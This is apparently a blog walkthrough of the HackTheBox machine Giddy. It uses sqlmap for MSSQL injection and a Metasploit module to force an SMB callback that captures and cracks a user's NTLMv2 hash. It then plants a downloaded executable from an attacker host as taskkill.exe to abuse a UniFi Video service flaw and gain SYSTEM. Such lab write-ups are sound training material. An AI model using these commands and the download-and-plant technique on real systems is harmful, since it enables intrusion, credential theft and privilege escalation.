Giddy @ HackTheBox

Giddy @ HackTheBox

In this post I will give a quick walkthrough on Giddy from hackthebox.eu. The machine involves (automated) sql injection, stealing ntlm hashes via sqli and the exploitation of vulnerable service for which a CVE exists.

User Flag

Scanning the machine with nmap (nmap -Pn -n -sV -sC 10.10.10.104) reveals the following services:

80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
443/tcp  open  ssl/http      Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| ssl-cert: Subject: commonName=PowerShellWebAccessTestWebSite
| Not valid before: 2018-06-16T21:28:55
|_Not valid after:  2018-09-14T21:28:55
|_ssl-date: 2018-12-20T19:56:44+00:00; -2h09m16s from scanner time.
| tls-alpn: 
|   h2
|_  http/1.1
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=Giddy
| Not valid before: 2018-12-16T04:10:33
|_Not valid after:  2019-06-17T04:10:33
|_ssl-date: 2018-12-20T19:56:44+00:00; -2h09m16s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows


On port 80/443 we are presented with an image of a dog in a car, so the first thing to do is to search for actually useful websites in sub folders with dirb (dirb https://giddy.htb).

In /remote we find a powershell web logon:

However trying some standard username password combinations yields no results, so we start looking for other web content. In /mvc a new website can be seen:

Clicking on a product leads to the following url: https://giddy.htb/mvc/Product.aspx?ProductSubCategoryId=18. Since id fields are often prone to injection vulnerabilities we try to enter a ' which results in the following error: [SqlException (0x80131904): Unclosed quotation mark after the character string ''.. This hints strongly at mssql sql injection, so we can use sqlmap (sqlmap -u https://giddy.htb/mvc/Product.aspx\?ProductSubCategoryId\=18 --batch --level 5 --risk 3 --table) to further explore that vector, which leads to a full database dump via union based sql injection. However nothing too interesting can be found in the database and getting a shell via --os-pwn or --ps-shell fails too.

We can however use the sql injection vector to make a smb request to our attacker box and get the smb authentication (username, domain and ntlmv2-hash) this way.
An easy way to complish this is to use metasploits admin/mssql/mssql_ntlm_stealer_sqli module, which uses the dir_tree command of mssql to authenticate via smb. Besides setting RHOSTS and SMBPROXY it is important to set the GET_PATH parameter with a [SQLi] string at the point of injection, in this case /mvc/Product.aspx?ProductSubCategoryId=18;[SQLi]. Before executing the attack a listener for the smb request should be started. In this case we are using the one from metasploit (server/capture/smb), but any other capture tool like for example responder can be used as well.

We receive the following authentication:

NTLMv2 Response Captured from 10.10.10.104:49724 - 10.10.10.104
USER:Stacy DOMAIN:GIDDY OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:a64d9f281ab84503c3615f603a3dbea6
NT_CLIENT_CHALLENGE:0101000000000000515eeb0bae98d401446aefd9a9df392c00000000020000000000000000000000

The hash can be cracked with john (john --wordlist=~/rockyou.txt hash) in seconds and reveals the password of GIDDY\Stacy to be xNnWo6272k7x. Going back to the powershell webconsole we discovered earlier we can now log into the machine.

Root Flag

In the user folder of stacy we find a file univideo with the content “stopped”, which is a bit suspicious. In addition we find the file “C:\Users\Stacy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt” which has the following entry:

net stop unifivideoservice
$ExecutionContext.SessionState.LanguageMode
Stop-Service -Name Unifivideoservice -Force
Get-Service -Name Unifivideoservice
whoami
Get-Service -ServiceName UniFiVideoService

So we learned that this unifivideoservice is installed and can be started and stopped by stacy. Querying the service with cmd.exe /c 'sc qc Unifivideoservice' shows that the service indeed exists and runs as LocalSystem:

TYPE               : 10  WIN32_OWN_PROCESS 
START_TYPE         : 2   AUTO_START
ERROR_CONTROL      : 1   NORMAL
BINARY_PATH_NAME   : C:\ProgramData\unifi-video\avService.exe //RS//UniFiVideoService
LOAD_ORDER_GROUP   : 
TAG                : 0
DISPLAY_NAME       : Ubiquiti UniFi Video
DEPENDENCIES       : Tcpip
                   : Afd
SERVICE_START_NAME : LocalSystem

Searching for public exploits points us to https://www.exploit-db.com/exploits/43390. From the vulnerability description: “Upon start and stop of the service, it tries to load and execute the file at “C:\ProgramData\unifi-video\taskkill.exe”. However this file does not exist inthe application directory by default at all.”

This means we can create a custom taskkill.exe at the specified location which will be executed by LocalSystem. Since we are on a windows machine that has possibly windows defender activated, the simplest thing to do here is to create a custom executable that just reads the root.txt and therefore does not trigger any detection.

I’m creating the following program and compile it with mingw (x86_64-w64-mingw32-gcc read.c -o read.exe):

#include <stdio.h>
#include <stdlib.h>


int main()
{
    FILE *fptr1, *fptr2;
    char *src = "C:\\Users\\Administrator\\Desktop\\root.txt";
    char *dst = "C:\\Users\\Stacy\\Documents\\xct.txt";
    char c;

    fptr1 = fopen(src, "r");
    if (fptr1 == NULL)
    {
        printf("Cannot open file %s \n", src);
        exit(0);
    }

    fptr2 = fopen(dst, "w");
    if (fptr2 == NULL)
    {
        printf("Cannot open file %s \n", dst);
        exit(0);
    }

    c = fgetc(fptr1);
    while (c != EOF)
    {
        fputc(c, fptr2);
        c = fgetc(fptr1);
    }

    printf("\nContents copied to %s", src);
    fclose(fptr1);
    fclose(fptr2);
    return 0;
}

The compiled program is put into the correct folder and on restart of the service executed:

Invoke-WebRequest "http://x.x.x.x:8000/read.exe" -OutFile "C:\ProgramData\unifi-video\taskkill.exe"
restart-service -name "Unifivideoservice"

The root flag is now in xct.txt in the Documents folder of stacy and the box therefore finished.

Share this post